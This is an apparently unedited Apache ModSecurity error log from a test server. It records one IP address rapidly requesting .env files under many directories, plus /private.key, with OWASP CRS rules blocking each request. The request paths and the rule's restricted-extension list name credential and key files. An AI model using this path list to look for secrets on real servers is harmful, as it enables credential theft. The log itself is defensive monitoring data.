[Thu Feb 26 01:03:13.992089 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1QAAAAE&quot;]
[Thu Feb 26 01:03:13.992314 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1QAAAAE&quot;]
[Thu Feb 26 01:03:13.992466 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview/.env&quot;] [unique_id &quot;aZ-NwTAL5Lg_nL66HcLh1QAAAAE&quot;]
[Thu Feb 26 01:03:14.006729 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFgAAAAU&quot;]
[Thu Feb 26 01:03:14.006954 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFgAAAAU&quot;]
[Thu Feb 26 01:03:14.007124 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFgAAAAU&quot;]
[Thu Feb 26 01:03:14.027904 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /price_hawk_client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1gAAAAE&quot;]
[Thu Feb 26 01:03:14.028138 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1gAAAAE&quot;]
[Thu Feb 26 01:03:14.028294 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/price_hawk_client/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1gAAAAE&quot;]
[Thu Feb 26 01:03:14.031317 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /post-deployment/.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFwAAAAU&quot;]
[Thu Feb 26 01:03:14.031536 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFwAAAAU&quot;]
[Thu Feb 26 01:03:14.031696 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/post-deployment/.vscode/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QFwAAAAU&quot;]
[Thu Feb 26 01:03:14.057640 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1wAAAAE&quot;]
[Thu Feb 26 01:03:14.057852 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1wAAAAE&quot;]
[Thu Feb 26 01:03:14.058033 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prisma/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh1wAAAAE&quot;]
[Thu Feb 26 01:03:14.058155 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /postfixadmin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QGAAAAAU&quot;]
[Thu Feb 26 01:03:14.058378 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QGAAAAAU&quot;]
[Thu Feb 26 01:03:14.058519 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/postfixadmin/.env&quot;] [unique_id &quot;aZ-Nwik1SHHL9bIjTI-QGAAAAAU&quot;]
[Thu Feb 26 01:03:14.081143 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2AAAAAE&quot;]
[Thu Feb 26 01:03:14.081794 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2AAAAAE&quot;]
[Thu Feb 26 01:03:14.082008 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private.key&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2AAAAAE&quot;]
[Thu Feb 26 01:03:14.128209 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /processor/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2QAAAAE&quot;]
[Thu Feb 26 01:03:14.128472 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2QAAAAE&quot;]
[Thu Feb 26 01:03:14.128709 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/processor/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2QAAAAE&quot;]
[Thu Feb 26 01:03:14.148796 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCAAAAAA&quot;]
[Thu Feb 26 01:03:14.149030 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCAAAAAA&quot;]
[Thu Feb 26 01:03:14.149183 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prestashop/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCAAAAAA&quot;]
[Thu Feb 26 01:03:14.182375 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /preview-env/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCQAAAAA&quot;]
[Thu Feb 26 01:03:14.182600 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCQAAAAA&quot;]
[Thu Feb 26 01:03:14.182759 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/preview-env/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizCQAAAAA&quot;]
[Thu Feb 26 01:03:14.210777 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /prod/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2wAAAAE&quot;]
[Thu Feb 26 01:03:14.210990 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/prod/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh2wAAAAE&quot;]
